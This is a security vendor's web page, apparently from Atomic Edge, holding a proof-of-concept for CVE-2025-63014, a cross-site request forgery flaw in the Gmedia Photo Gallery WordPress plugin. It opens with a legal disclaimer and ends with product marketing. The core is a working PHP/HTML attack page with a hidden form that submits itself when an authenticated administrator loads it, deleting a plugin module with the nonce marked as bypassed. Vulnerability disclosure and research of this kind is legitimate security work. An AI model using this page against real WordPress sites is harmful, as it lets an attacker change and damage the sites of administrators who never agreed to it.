// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-63014 - Gmedia Photo Gallery <= 1.24.1 - Cross-Site Request Forgery

<?php
/**
 * CSRF PoC for Gmedia Photo Gallery <= 1.24.1
 * This script generates a malicious HTML page that triggers module deletion
 * when visited by an authenticated administrator.
 */

$target_url = 'https://vulnerable-site.com';
$module_name = 'amron'; // Target module to delete

?>
<!DOCTYPE html>
<html>
<head>
    <title>Gmedia CSRF PoC</title>
</head>
<body>
    <h2>CVE-2025-63014 - Gmedia Photo Gallery CSRF PoC</h2>
    <p>This page demonstrates the CSRF vulnerability in Gmedia Photo Gallery <= 1.24.1.</p>
    <p>When an authenticated administrator visits this page, it will attempt to delete the '<?php echo htmlspecialchars($module_name); ?>' module.</p>
    
    <!-- Hidden form that auto-submits to trigger the vulnerability -->
    <form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>/wp-admin/admin.php" method="GET">
        <input type="hidden" name="page" value="GrandMedia_Modules">
        <input type="hidden" name="delete_module" value="<?php echo htmlspecialchars($module_name); ?>">
        <!-- Note: Nonce parameter is included but not validated in vulnerable versions -->
        <input type="hidden" name="_wpnonce_module_delete" value="bypassed">
    </form>
    
    <script>
        // Auto-submit the form after page load
        document.addEventListener('DOMContentLoaded', function() {
            console.log('Submitting CSRF request to delete module: <?php echo $module_name; ?>');
            document.getElementById('csrf_form').submit();
        });
    </script>
    
    <p><strong>Note:</strong> This PoC requires the victim to be authenticated as a WordPress administrator with Gmedia management privileges.</p>
</body>
</html>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School